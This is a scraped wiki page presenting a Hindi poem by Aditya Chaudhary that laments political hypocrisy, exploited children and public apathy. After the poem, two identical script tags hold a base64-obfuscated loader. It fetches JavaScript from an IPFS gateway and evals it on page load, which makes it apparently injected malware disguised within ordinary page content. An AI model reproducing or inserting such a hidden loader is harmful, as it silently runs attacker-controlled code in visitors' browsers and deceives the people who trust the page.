एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

मत करना कोशिश भी -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 08:03, 19 फ़रवरी 2015 का अवतरण ("मत करना कोशिश भी -आदित्य चौधरी" सुरक्षित कर दिया ([edit=sysop] (अनिश्चित्त अवधि) [move=sysop] (अनिश्चित्त अवधि)))
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Copyright.png
मत करना कोशिश भी -आदित्य चौधरी

मत करना कोशिश भी
तुम ये,
फिर से हँसू...
बहुत मुश्किल है

तनी भृकुटियाँ
भी थककर अब
साथ छोड़कर
पसर गई हैं

यही सोचता
हरदम तत्पर
क्यों हूँ ज़िंदा ?
मरा नहीं क्यों ?

लड़ क्यों नहीं रहा
अजगर से ?
बार-बार क्यों
जाता हार ?

इसकी गहरी श्वास
मुझे क्यों खींचे लेती ?
कर देती अस्तित्व
शिथिल
मेरा क्यों
हर पल ?

लाल और नीली
मणियों को
धारण करके,
जीभ लपलपाते

चारण गान
सुन रहे,
...मतली लाने वाले स्वर के

जनता को
उलझाने की
नित कला
सीखते

और जानते
हाँ-हाँ में ना-ना
हो कैसे...
कर जाना है
एक सहज मुस्कान
फेंक के

अपने ऐरावत पर
हो सवार ये,
गिद्ध दृष्टि से युक्त
गिद्ध-भोजों को तत्पर,
षडयंत्रों में रत हैं
सभी 'इयागो' जैसे

सुबह सवेरे पूजा गृह में
स्तुति रत हो
आँख मूँद लेते हैं
सब
अनदेखा करके...

तम से घिरे निरंतर
ढेर अबोधों के स्वर,
कभी कान इनके सुनने
को बने नहीं हैं

छिनते बचपन की
बिकती तस्वीरों से ये
अपने सभागार को
कब का सजा चुके हैं

रेलों की पटरी पे
सोती तक़्दीरों को
स्वर्ण रथों के पहियों
से दफ़ना देते हैं

बीते हुए जिस्म के
बिकते हुए ख़ून से
और वहीं
मासूम ख़ून के
उन धब्बों को
कब देखोगे?

कुछ तो करो...
रोक लो इनको
हे जन गण मन !
कहाँ छुपे हो ?
कैसे सह लेते हो
यह सब,
कहाँ रुके हो ?
क्योंकर झुका
भाल अपना तुम
सब सहते हो...?



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>